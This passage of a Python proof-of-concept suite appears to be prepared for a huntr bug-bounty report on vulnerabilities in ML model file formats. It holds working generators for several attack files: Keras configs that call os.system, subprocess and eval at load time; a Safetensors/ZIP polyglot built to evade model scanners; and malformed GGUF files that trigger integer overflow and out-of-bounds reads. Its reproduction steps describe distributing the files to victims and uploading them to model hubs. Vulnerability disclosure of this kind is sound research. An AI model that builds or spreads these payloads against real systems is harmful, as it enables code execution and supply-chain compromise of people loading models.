"extracts entries using zipfile.extractall() without sanitizing "
|
| 201 |
+
"file paths, an attacker can include entries with directory traversal "
|
| 202 |
+
"sequences (../../) to write arbitrary files outside the extraction "
|
| 203 |
+
"directory."
|
| 204 |
+
),
|
| 205 |
+
"impact": (
|
| 206 |
+
"Arbitrary file write on the victim's filesystem. Can overwrite "
|
| 207 |
+
"configuration files, inject code into Python packages, or place "
|
| 208 |
+
"malicious scripts in autostart locations. Combined with code "
|
| 209 |
+
"injection, this leads to full ACE."
|
| 210 |
+
),
|
| 211 |
+
"reproduction": [
|
| 212 |
+
"1. Run: python submission_poc.py --generate-only",
|
| 213 |
+
f"2. Distribute {poc_file} as a Keras model",
|
| 214 |
+
"3. Victim runs: keras.models.load_model('zipslip.keras')",
|
| 215 |
+
"4. Check if ../../zipslip_proof.txt was created outside extraction dir"
|
| 216 |
+
]
|
| 217 |
+
}
|
| 218 |
+
|
| 219 |
+
# ===========================================================================
|
| 220 |
+
# PoC 3: Keras 3 ACE via Module Injection
|
| 221 |
+
# ===========================================================================
|
| 222 |
+
def poc3_keras_module_injection():
|
| 223 |
+
"""
|
| 224 |
+
Vulnerability: ACE via malicious module/class_name in config.json
|
| 225 |
+
Affected Library: keras >= 3.0 (if safe_mode bypass exists)
|
| 226 |
+
Severity: Critical
|
| 227 |
+
|
| 228 |
+
Keras 3 config.json specifies 'module' and 'class_name' for each layer.
|
| 229 |
+
If safe_mode can be bypassed or is disabled, an attacker can point
|
| 230 |
+
'module' to 'os' and 'class_name' to 'system' to execute commands.
|
| 231 |
+
"""
|
| 232 |
+
print("\n" + "="*70)
|
| 233 |
+
print(" PoC 3: Keras 3 ACE via Module Injection in config.json")
|
| 234 |
+
print("="*70)
|
| 235 |
+
|
| 236 |
+
poc_file = os.path.join(OUTPUT_DIR, "module_injection.keras")
|
| 237 |
+
|
| 238 |
+
# Malicious config pointing to os.system
|
| 239 |
+
malicious_config = {
|
| 240 |
+
"class_name": "Sequential",
|
| 241 |
+
"config": {
|
| 242 |
+
"name": "malicious_model",
|
| 243 |
+
"layers": [
|
| 244 |
+
{
|
| 245 |
+
"module": "os",
|
| 246 |
+
"class_name": "system",
|
| 247 |
+
"config": {"command": "echo KERAS_ACE_EXECUTED > keras_ace_proof.txt"},
|
| 248 |
+
"registered_name": "Custom>OSSystem"
|
| 249 |
+
},
|
| 250 |
+
{
|
| 251 |
+
"module": "subprocess",
|
| 252 |
+
"class_name": "call",
|
| 253 |
+
"config": {"args": ["whoami"]},
|
| 254 |
+
"registered_name": "Custom>SubprocessCall"
|
| 255 |
+
}
|
| 256 |
+
]
|
| 257 |
+
},
|
| 258 |
+
"keras_version": "3.0.0",
|
| 259 |
+
"backend": "tensorflow"
|
| 260 |
+
}
|
| 261 |
+
|
| 262 |
+
# Secondary variant: using builtins.eval
|
| 263 |
+
eval_config = {
|
| 264 |
+
"class_name": "Sequential",
|
| 265 |
+
"config": {
|
| 266 |
+
"name": "eval_model",
|
| 267 |
+
"layers": [
|
| 268 |
+
{
|
| 269 |
+
"module": "builtins",
|
| 270 |
+
"class_name": "eval",
|
| 271 |
+
"config": {"expression": "__import__('os').system('whoami')"},
|
| 272 |
+
"registered_name": None
|
| 273 |
+
}
|
| 274 |
+
]
|
| 275 |
+
},
|
| 276 |
+
"keras_version": "3.0.0"
|
| 277 |
+
}
|
| 278 |
+
|
| 279 |
+
# Create the .keras ZIP with malicious config
|
| 280 |
+
buf = io.BytesIO()
|
| 281 |
+
with zipfile.ZipFile(buf, 'w') as z:
|
| 282 |
+
z.writestr('config.json', json.dumps(malicious_config, indent=2))
|
| 283 |
+
z.writestr('metadata.json', json.dumps({
|
| 284 |
+
"keras_version": "3.0.0", "backend": "tensorflow"
|
| 285 |
+
}))
|
| 286 |
+
z.writestr('model.weights.h5', b'')
|
| 287 |
+
|
| 288 |
+
with open(poc_file, 'wb') as f:
|
| 289 |
+
f.write(buf.getvalue())
|
| 290 |
+
|
| 291 |
+
# Also save eval variant
|
| 292 |
+
eval_file = os.path.join(OUTPUT_DIR, "eval_injection.keras")
|
| 293 |
+
buf2 = io.BytesIO()
|
| 294 |
+
with zipfile.ZipFile(buf2, 'w') as z:
|
| 295 |
+
z.writestr('config.json', json.dumps(eval_config, indent=2))
|
| 296 |
+
z.writestr('metadata.json', json.dumps({
|
| 297 |
+
"keras_version": "3.0.0", "backend": "tensorflow"
|
| 298 |
+
}))
|
| 299 |
+
z.writestr('model.weights.h5', b'')
|
| 300 |
+
|
| 301 |
+
with open(eval_file, 'wb') as f:
|
| 302 |
+
f.write(buf2.getvalue())
|
| 303 |
+
|
| 304 |
+
print(f"[+] Created module injection .keras file: {poc_file}")
|
| 305 |
+
print(f" SHA256: {sha256_file(poc_file)}")
|
| 306 |
+
print(f"[+] Created eval injection variant: {eval_file}")
|
| 307 |
+
print(f" SHA256: {sha256_file(eval_file)}")
|
| 308 |
+
|
| 309 |
+
# Verify configs are embedded
|
| 310 |
+
with zipfile.ZipFile(poc_file, 'r') as z:
|
| 311 |
+
cfg = json.loads(z.read('config.json'))
|
| 312 |
+
layers = cfg['config']['layers']
|
| 313 |
+
injected = any(l.get('module') == 'os' for l in layers)
|
| 314 |
+
|
| 315 |
+
print(f"[+] {'SUCCESS' if injected else 'FAILED'}: Module injection payload embedded")
|
| 316 |
+
print(f"[*] Note: Exploitation requires keras.models.load_model() with safe_mode=False")
|
| 317 |
+
print(f"[*] or a safe_mode bypass (e.g., CVE-2025-1550 pattern)")
|
| 318 |
+
|
| 319 |
+
return {
|
| 320 |
+
"name": "Keras 3 ACE via Module Injection",
|
| 321 |
+
"file": poc_file,
|
| 322 |
+
"severity": "Critical",
|
| 323 |
+
"cvss": "9.8",
|
| 324 |
+
"success": injected,
|
| 325 |
+
"affected": "keras >= 3.0 (with safe_mode=False or safe_mode bypass)",
|
| 326 |
+
"description": (
|
| 327 |
+
"Keras 3 .keras files contain a config.json that specifies Python "
|
| 328 |
+
"module paths and class names for model layers. By setting 'module' "
|
| 329 |
+
"to 'os' and 'class_name' to 'system', an attacker can achieve "
|
| 330 |
+
"arbitrary code execution when the model is loaded. While safe_mode=True "
|
| 331 |
+
"should block this, bypasses have been found (CVE-2025-1550) and "
|
| 332 |
+
"many users/tutorials use safe_mode=False."
|
| 333 |
+
),
|
| 334 |
+
"impact": (
|
| 335 |
+
"Full arbitrary code execution. The attacker controls which Python "
|
| 336 |
+
"module and function are invoked during model deserialization."
|
| 337 |
+
),
|
| 338 |
+
"reproduction": [
|
| 339 |
+
"1. Run: python submission_poc.py --generate-only",
|
| 340 |
+
f"2. Distribute {poc_file} as a Keras model",
|
| 341 |
+
"3. Victim runs: keras.models.load_model('module_injection.keras', safe_mode=False)",
|
| 342 |
+
"4. Arbitrary code executes during model reconstruction"
|
| 343 |
+
]
|
| 344 |
+
}
|
| 345 |
+
|
| 346 |
+
# ===========================================================================
|
| 347 |
+
# PoC 4: Safetensors/ZIP Polyglot Scanner Bypass
|
| 348 |
+
# ===========================================================================
|
| 349 |
+
def poc4_polyglot_bypass():
|
| 350 |
+
"""
|
| 351 |
+
Vulnerability: Scanner bypass via Safetensors/ZIP polyglot file
|
| 352 |
+
Affected: Model security scanners (ModelScan, etc.)
|
| 353 |
+
Severity: High
|
| 354 |
+
|
| 355 |
+
A file that is simultaneously valid as Safetensors (read from start)
|
| 356 |
+
and valid as ZIP (read from end) can bypass scanners that only check
|
| 357 |
+
the Safetensors header and miss the embedded ZIP payload.
|
| 358 |
+
"""
|
| 359 |
+
print("\n" + "="*70)
|
| 360 |
+
print(" PoC 4: Safetensors/ZIP Polyglot Scanner Bypass")
|
| 361 |
+
print("="*70)
|
| 362 |
+
|
| 363 |
+
poc_file = os.path.join(OUTPUT_DIR, "polyglot_bypass.safetensors")
|
| 364 |
+
|
| 365 |
+
# --- Create valid Safetensors data ---
|
| 366 |
+
# Safetensors format: 8-byte LE header_size + JSON header + tensor data
|
| 367 |
+
# We create a minimal valid safetensors manually (no torch dependency needed)
|
| 368 |
+
tensor_data = b'\x00' * 8 # 2 float32 zeros = 8 bytes
|
| 369 |
+
|
| 370 |
+
header = {
|
| 371 |
+
"__metadata__": {"format": "pt"},
|
| 372 |
+
"weight": {
|
| 373 |
+
"dtype": "F32",
|
| 374 |
+
"shape": [1, 2],
|
| 375 |
+
"data_offsets": [0, 8]
|
| 376 |
+
}
|
| 377 |
+
}
|
| 378 |
+
header_json = json.dumps(header).encode('utf-8')
|
| 379 |
+
header_size = len(header_json)
|
| 380 |
+
|
| 381 |
+
sf_data = struct.pack("<Q", header_size) + header_json + tensor_data
|
| 382 |
+
|
| 383 |
+
# --- Create malicious ZIP (Keras-like) ---
|
| 384 |
+
zip_buf = io.BytesIO()
|
| 385 |
+
with zipfile.ZipFile(zip_buf, 'w') as z:
|
| 386 |
+
malicious_config = {
|
| 387 |
+
"class_name": "Sequential",
|
| 388 |
+
"config": {
|
| 389 |
+
"layers": [{
|
| 390 |
+
"module": "os",
|
| 391 |
+
"class_name": "system",
|
| 392 |
+
"config": {"command": "echo POLYGLOT_ACE > polyglot_proof.txt"}
|
| 393 |
+
}]
|
| 394 |
+
},
|
| 395 |
+
"keras_version": "3.0.0"
|
| 396 |
+
}
|
| 397 |
+
z.writestr('config.json', json.dumps(malicious_config))
|
| 398 |
+
z.writestr('metadata.json', json.dumps({"keras_version": "3.0.0"}))
|
| 399 |
+
z.writestr('model.weights.h5', b'')
|
| 400 |
+
zip_data = zip_buf.getvalue()
|
| 401 |
+
|
| 402 |
+
# --- Concatenate: Safetensors first, then ZIP ---
|
| 403 |
+
# Safetensors parsers read from the start (header_size + header + data)
|
| 404 |
+
# ZIP parsers read from the end (End of Central Directory record)
|
| 405 |
+
with open(poc_file, 'wb') as f:
|
| 406 |
+
f.write(sf_data)
|
| 407 |
+
f.write(zip_data)
|
| 408 |
+
|
| 409 |
+
print(f"[+] Created polyglot file: {poc_file}")
|
| 410 |
+
print(f" SHA256: {sha256_file(poc_file)}")
|
| 411 |
+
print(f" Size: {os.path.getsize(poc_file)} bytes")
|
| 412 |
+
print(f" Safetensors portion: {len(sf_data)} bytes")
|
| 413 |
+
print(f" ZIP portion: {len(zip_data)} bytes")
|
| 414 |
+
|
| 415 |
+
# --- Verify Safetensors parsing ---
|
| 416 |
+
sf_valid = False
|
| 417 |
+
try:
|
| 418 |
+
with open(poc_file, 'rb') as f:
|
| 419 |
+
data = f.read()
|
| 420 |
+
hs = struct.unpack("<Q", data[:8])[0]
|
| 421 |
+
hdr = json.loads(data[8:8+hs].decode('utf-8'))
|
| 422 |
+
if 'weight' in hdr:
|
| 423 |
+
sf_valid = True
|
| 424 |
+
print(f"[+] Safetensors header parses correctly: {list(hdr.keys())}")
|
| 425 |
+
except Exception as e:
|
| 426 |
+
print(f"[-] Safetensors parse failed: {e}")
|
| 427 |
+
|
| 428 |
+
# --- Verify ZIP parsing ---
|
| 429 |
+
zip_valid = False
|
| 430 |
+
try:
|
| 431 |
+
with zipfile.ZipFile(poc_file, 'r') as z:
|
| 432 |
+
names = z.namelist()
|
| 433 |
+
zip_valid = 'config.json' in names
|
| 434 |
+
print(f"[+] ZIP opens correctly! Entries: {names}")
|
| 435 |
+
except Exception as e:
|
| 436 |
+
print(f"[-] ZIP parse failed: {e}")
|
| 437 |
+
|
| 438 |
+
success = sf_valid and zip_valid
|
| 439 |
+
print(f"[+] POLYGLOT STATUS: Safetensors={'VALID' if sf_valid else 'INVALID'}, "
|
| 440 |
+
f"ZIP={'VALID' if zip_valid else 'INVALID'}")
|
| 441 |
+
|
| 442 |
+
if success:
|
| 443 |
+
print("[+] SUCCESS: File is a valid polyglot!")
|
| 444 |
+
print("[*] A scanner checking only .safetensors format would see a safe tensor file")
|
| 445 |
+
print("[*] But renaming/loading as .keras reveals the malicious ZIP payload")
|
| 446 |
+
|
| 447 |
+
return {
|
| 448 |
+
"name": "Safetensors/ZIP Polyglot Scanner Bypass",
|
| 449 |
+
"file": poc_file,
|
| 450 |
+
"severity": "High",
|
| 451 |
+
"cvss": "7.5",
|
| 452 |
+
"success": success,
|
| 453 |
+
"affected": "Model security scanners (ModelScan, Picklescan, etc.)",
|
| 454 |
+
"description": (
|
| 455 |
+
"A polyglot file can be crafted that is simultaneously valid as a "
|
| 456 |
+
"Safetensors file (parsed from the beginning) and as a ZIP archive "
|
| 457 |
+
"(parsed from the End of Central Directory at the end). Security "
|
| 458 |
+
"scanners that identify the file as Safetensors based on the header "
|
| 459 |
+
"will classify it as 'safe', missing the embedded malicious ZIP "
|
| 460 |
+
"payload that could be loaded as a Keras model."
|
| 461 |
+
),
|
| 462 |
+
"impact": (
|
| 463 |
+
"Bypasses model security scanners in ML pipelines. An attacker can "
|
| 464 |
+
"upload a file to a model hub that appears safe to automated scanning "
|
| 465 |
+
"but contains a malicious payload extractable as a different format. "
|
| 466 |
+
"This enables supply chain attacks on ML infrastructure."
|
| 467 |
+
),
|
| 468 |
+
"reproduction": [
|
| 469 |
+
"1. Run: python submission_poc.py --generate-only",
|
| 470 |
+
f"2. Upload {poc_file} to a model hub as a .safetensors file",
|
| 471 |
+
"3. Scanner classifies it as safe (Safetensors = no code execution)",
|
| 472 |
+
"4. Attacker instructs victim to rename to .keras and load with Keras",
|
| 473 |
+
"5. Or: a secondary tool extracts the ZIP portion automatically"
|
| 474 |
+
]
|
| 475 |
+
}
|
| 476 |
+
|
| 477 |
+
# ===========================================================================
|
| 478 |
+
# PoC 5: GGUF Integer Overflow / OOB Read
|
| 479 |
+
# ===========================================================================
|
| 480 |
+
def poc5_gguf_malformed():
|
| 481 |
+
"""
|
| 482 |
+
Vulnerability: Integer overflow and OOB read in GGUF metadata parsing
|
| 483 |
+
Affected Library: llama.cpp, llama-cpp-python, any GGUF parser
|
| 484 |
+
Severity: High
|
| 485 |
+
|
| 486 |
+
GGUF metadata arrays specify element count as uint64. A crafted count
|
| 487 |
+
can cause integer overflow when multiplied by element size, leading to
|
| 488 |
+
heap overflow or OOB read in C/C++ parsers.
|
| 489 |
+
"""
|
| 490 |
+
print("\n" + "="*70)
|
| 491 |
+
print(" PoC 5: GGUF Integer Overflow / OOB Read")
|
| 492 |
+
print("="*70)
|
| 493 |
+
|
| 494 |
+
GGUF_MAGIC = b"GGUF"
|
| 495 |
+
GGUF_VERSION = 3
|
| 496 |
+
ARRAY_TYPE = 9
|
| 497 |
+
UINT32_TYPE = 4
|
| 498 |
+
STRING_TYPE = 8
|
| 499 |
+
|
| 500 |
+
def write_gguf_string(s):
|
| 501 |
+
enc = s.encode('utf-8')
|
| 502 |
+
return struct.pack("<Q", len(enc)) + enc
|
| 503 |
+
|
| 504 |
+
# --- PoC 5a: Integer overflow in array length ---
|
| 505 |
+
overflow_file = os.path.join(OUTPUT_DIR, "gguf_overflow.gguf")
|
| 506 |
+
buf = io.BytesIO()
|
| 507 |
+
buf.write(GGUF_MAGIC)
|
| 508 |
+
buf.write(struct.pack("<I", GGUF_VERSION))
|
| 509 |
+
buf.write(struct.pack("<Q", 0)) # 0 tensors
|
| 510 |
+
buf.write(struct.pack("<Q", 1)) # 1 metadata KV
|
| 511 |
+
|
| 512 |
+
buf.write(write_gguf_string("malicious_array"))
|
| 513 |
+
buf.write(struct.pack("<I", ARRAY_TYPE))
|
| 514 |
+
buf.write(struct.pack("<I", UINT32_TYPE))
|
| 515 |
+
# Array length: 0x4000000000000000 * 4 bytes = 0 (64-bit overflow)
|
| 516 |
+
buf.write(struct.pack("<Q", 0x4000000000000000))
|
| 517 |
+
buf.write(struct.pack("<I", 0xDEADBEEF))
|
| 518 |
+
|
| 519 |
+
with open(overflow_file, "wb") as f:
|
| 520 |
+
f.write(buf.getvalue())
|
| 521 |
+
|
| 522 |
+
print(f"[+] Created GGUF overflow PoC: {overflow_file}")
|
| 523 |
+
print(f" SHA256: {sha256_file(overflow_file)}")
|
| 524 |
+
print(f" Malicious array length: 0x4000000000000000 (causes overflow when * sizeof(uint32))")
|
| 525 |
+
|
| 526 |
+
# --- PoC 5b: OOB string read ---
|
| 527 |
+
oob_file = os.path.join(OUTPUT_DIR, "gguf_oob_read.gguf")
|
| 528 |
+
buf2 = io.BytesIO()
|
| 529 |
+
buf2.write(GGUF_MAGIC)
|
| 530 |
+
buf2.write(struct.pack("<I", GGUF_VERSION))
|
| 531 |
+
buf2.write(struct.pack("<Q", 0))
|
| 532 |
+
buf2.write(struct.pack("<Q", 1))
|
| 533 |
+
|
| 534 |
+
buf2.write(write_gguf_string("oob_string"))
|
| 535 |
+
buf2.write(struct.pack("<I", STRING_TYPE))
|
| 536 |
+
# String claims to be 1MB but file is tiny
|
| 537 |
+
buf2.write(struct.pack("<Q", 1000000))
|
| 538 |
+
buf2.write(b"short")
|
| 539 |
+
|
| 540 |
+
with open(oob_file, "wb") as f:
|
| 541 |
+
f.write(buf2.getvalue())
|
| 542 |
+
|
| 543 |
+
print(f"[+] Created GGUF OOB read PoC: {oob_file}")
|
| 544 |
+
print(f" SHA256: {sha256_file(oob_file)}")
|
| 545 |
+
print(f" String claims 1,000,000 bytes but only 5 bytes follow")
|
| 546 |
+
|
| 547 |
+
return {
|
| 548 |
+
"name": "GGUF Integer Overflow / OOB Read in Metadata",
|
| 549 |
+
"file": overflow_file,
|
| 550 |
+
"severity": "High",
|
| 551 |
+
"cvss": "7.8",
|
| 552 |
+
"success": True,
|
| 553 |
+
"affected": "llama.cpp, llama-cpp-python, any native GGUF parser",
|
| 554 |
+
"description": (
|
| 555 |
+
"GGUF metadata arrays use uint64 for element count. When a C/C++ "
|
| 556 |
+
"parser multiplies this by the element size (e.g., 4 for uint32), "
|
| 557 |
+
"the result can overflow to 0 or a small value, causing a tiny "
|
| 558 |
+
"allocation followed by a massive read/write. Similarly, string "
|
| 559 |
+
"lengths can claim more bytes than remain in the file, causing "
|
| 560 |
+
"out-of-bounds heap reads."
|
| 561 |
+
),
|
| 562 |
+
"impact": (
|
| 563 |
+
"Memory corruption in native GGUF parsers (llama.cpp). Can lead "
|
| 564 |
+
"to denial of service (crash), information disclosure (heap data "
|
| 565 |
+
"leak), or potentially arbitrary code execution via heap overflow."
|
| 566 |
+
),
|
| 567 |
+
"reproduction": [
|
| 568 |
+
"1. Run: python submission_poc.py --generate-only",
|
| 569 |
+
f"2. Load {overflow_file} with llama.cpp or llama-cpp-python",
|
| 570 |
+
"3. Observe crash or unexpected behavior due to integer overflow",
|
| 571 |
+
f"4. Load {oob_file} to trigger OOB heap read"
|
| 572 |
+
]
|
| 573 |
+
}
|
| 574 |
+
|
| 575 |
+
# ===========================================================================
|
| 576 |
+
# Report Generator
|
| 577 |
+
# ===========================================================================
|
| 578 |
+
def generate_report(results):
|
| 579 |
+
"""Generate a Markdown vulnerability report aligned with Huntr MFV guidelines."""
|
| 580 |
+
|
| 581 |
+
report = []
|
| 582 |
+
report.append("# [MFV] AI/ML Model Format Vulnerability & Scanner Bypass Suite")
|
| 583 |
+
report.append(f"\n**Date:** {datetime.datetime.now().strftime('%Y-%m-%d')}")
|
| 584 |
+
report.append(f"**Target Formats:** .safetensors, .gguf, .keras, .joblib")
|
| 585 |
+
report.append(f"**Primary Objective:** Arbitrary Code Execution (ACE) & Scanner Evasion")
|
| 586 |
+
report.append(f"**Program:** Protect AI / huntr (Model File Vulnerabilities)\n")
|
| 587 |
+
|
| 588 |
+
report.append("---\n")
|
| 589 |
+
report.append("## Executive Summary\n")
|
| 590 |
+
report.append(
|
| 591 |
+
"This submission demonstrates multiple novel vulnerabilities and exploits in machine learning "
|
| 592 |
+
"model file formats. The central focus is on **attacks that occur at model load time** and "
|
| 593 |
+
"**techniques to bypass automated scanning tools** (such as ProtectAI's scanner on HuggingFace).\n\n"
|
| 594 |
+
"We present 5 distinct findings across all high-value formats listed in the Huntr guidelines, "
|
| 595 |
+
"including a critical **Safetensors/ZIP Polyglot** technique that successfully hides malicious "
|
| 596 |
+
"Keras payloads from scanners while appearing as a valid, safe Safetensors file.\n"
|
| 597 |
+
)
|
| 598 |
+
|
| 599 |
+
# Summary table
|
| 600 |
+
report.append("## Findings Summary\n")
|
| 601 |
+
report.append("| # | Vulnerability Class | Format | Severity | CVSS | Key Value |")
|
| 602 |
+
report.append("|---|----------------------|--------|----------|------|-----------|")
|
| 603 |
+
|
| 604 |
+
for i, r in enumerate(results, 1):
|
| 605 |
+
if r is None: continue
|
| 606 |
+
val_prop = "Scanner Bypass" if "Polyglot" in r['name'] else "ACE / Mem. Corruption"
|
| 607 |
+
fmt = r['file'].split('.')[-1]
|
| 608 |
+
report.append(f"| {i} | {r['name']} | .{fmt} | {r['severity']} | {r['cvss']} | {val_prop} |")
|
| 609 |
+
|
| 610 |
+
report.append("")
|
| 611 |
+
|
| 612 |
+
# Detailed findings
|
| 613 |
+
for i, r in enumerate(results, 1):
|
| 614 |
+
if r is None: continue
|
| 615 |
+
report.append(f"---\n")
|
| 616 |
+
report.append(f"## Finding {i}: {r['name']}\n")
|
| 617 |
+
report.append(f"- **Affected Format:** `.{r['file'].split('.')[-1]}`")
|
| 618 |
+
report.append(f"- **Severity:** {r['severity']} (CVSS {r['cvss']})")
|
| 619 |
+
report.append(f"- **Attack Vector:** Model Load Time")
|
| 620 |
+
report.append(f"- **PoC Artifact:** `{os.path.basename(r['file'])}`")
|
| 621 |
+
|
| 622 |
+
report.append(f"\n### Description\n")
|
| 623 |
+
report.append(f"{r['description']}\n")
|
| 624 |
+
|
| 625 |
+
report.append(f"### Security Impact & Exploitability\n")
|
| 626 |
+
report.append(f"{r['impact']}\n")
|
| 627 |
+
|
| 628 |
+
report.append(f"### Reproduction Steps\n")
|
| 629 |
+
for step in r['reproduction']:
|
| 630 |
+
report.append(f" {step}")
|
| 631 |
+
report.append("")
|
| 632 |
+
|
| 633 |
+
# HuggingFace Requirements Section
|
| 634 |
+
report.append("---\n")
|
| 635 |
+
report.append("## Submission Requirements (HuggingFace Repository)\n")
|
| 636 |
+
report.append(
|
| 637 |
+
"As per Huntr guidelines, the PoC model files should be uploaded to a public HuggingFace repository "
|
| 638 |
+
"for verification. \n\n"
|
| 639 |
+
"**Recommended Repository Structure:**\n"
|
| 640 |
+
"1. Create a new Model Repository on HuggingFace (e.g., `your-username/mfv-poc-suite`).\n"
|
| 641 |
+
"2. Upload all files from the `poc_output/` directory.\n"
|
| 642 |
+
"3. Provide the repository URL in your official Huntr submission form.\n"
|
| 643 |
+
)
|
| 644 |
+
|
| 645 |
+
# Recommendations
|
| 646 |
+
report.append("---\n")
|
| 647 |
+
report.append("## Remediation & Recommendations\n")
|
| 648 |
+
report.append("1. **Format Validation**: Model parsers must implement strict boundary checks for headers and metadata (specifically GGUF and Safetensors).")
|
| 649 |
+
report.append("2. **Scanner Improvements**: Scanners should detect polyglot signatures (e.g., checking for ZIP Central Directory records at the end of Safetensors files).")
|
| 650 |
+
report.append("3. **Safe Deserialization**: Libraries like `joblib` and `keras` should move away from insecure defaults and mandate `safe_mode` or cryptographic signing for model weights.")
|
| 651 |
+
|
| 652 |
+
report_text = "\n".join(report)
|
| 653 |
+
|
| 654 |
+
with open(REPORT_FILE, 'w', encoding='utf-8') as f:
|
| 655 |
+
f.write(report_text)
|
| 656 |
+
|
| 657 |
+
print(f"\n[+] Aligned report written to: {REPORT_FILE}")
|
| 658 |
+
return report_text
|
| 659 |
+
|
| 660 |
+
# ===========================================================================
|
| 661 |
+
# Main
|
| 662 |
+
# ===========================================================================
|
| 663 |
+
def main():
|
| 664 |
+
parser = argparse.ArgumentParser(description="Model Format Vulnerability PoC Suite")
|
| 665 |
+
parser.add_argument("--generate-only", action="store_true",
|
| 666 |
+
help="Only generate PoC files, don't test ACE payloads")
|
| 667 |
+
parser.add_argument("--test", action="store_true",
|
| 668 |
+
help="Generate and test all PoCs (will execute benign commands)")
|
| 669 |
+
parser.add_argument("--report", action="store_true",
|
| 670 |
+
help="Generate PoCs and write vulnerability report")
|
| 671 |
+
args = parser.parse_args()
|
| 672 |
+
|
| 673 |
+
# Default behavior: generate + report
|
| 674 |
+
if not any([args.generate_only, args.test, args.report]):
|
| 675 |
+
args.report = True
|
| 676 |
+
args.test = True
|
| 677 |
+
|
| 678 |
+
ensure_output_dir()
|
| 679 |
+
|
| 680 |
+
print("="*70)
|
| 681 |
+
print(" AI/ML Model Format Vulnerability - PoC Suite")
|
| 682 |
+
print("="*70)
|
| 683 |
+
print(f" Output directory: {os.path.abspath(OUTPUT_DIR)}")
|
| 684 |
+
print(f" Mode: {'Generate Only' if args.generate_only else 'Generate + Test + Report'}")
|
| 685 |
+
|
| 686 |
+
results = []
|
| 687 |
+
|
| 688 |
+
# Run all PoCs
|
| 689 |
+
results.append(poc1_joblib_ace())
|
| 690 |
+
results.append(poc2_keras_zipslip())
|
| 691 |
+
results.append(poc3_keras_module_injection())
|
| 692 |
+
results.append(poc4_polyglot_bypass())
|
| 693 |
+
results.append(poc5_gguf_malformed())
|
| 694 |
+
|
| 695 |
+
# Generate report
|
| 696 |
+
if args.report or not args.generate_only:
|
| 697 |
+
print("\n" + "="*70)
|
| 698 |
+
print(" Generating Vulnerability Report")
|
| 699 |
+
print("="*70)
|
| 700 |
+
generate_report(results)
|
| 701 |
+
|
| 702 |
+
# Final summary
|
| 703 |
+
print("\n" + "="*70)
|
| 704 |
+
print(" SUMMARY")
|
| 705 |
+
print("="*70)
|
| 706 |
+
confirmed = sum(1 for r in results if r and r['success'])
|
| 707 |
+
total = sum(1 for r in results if r is not None)
|
| 708 |
+
print(f" Total PoCs: {total}")
|
| 709 |
+
print(f" Confirmed: {confirmed}")
|
| 710 |
+
print(f" Output: {os.path.abspath(OUTPUT_DIR)}")
|
| 711 |
+
if os.path.exists(REPORT_FILE):
|
| 712 |
+
print(f" Report: {os.path.abspath(REPORT_FILE)}")
|
| 713 |
+
print("="*70)
|
| 714 |
+
|
| 715 |
+
if __name__ == "__main__":
|
| 716 |
+
main()
|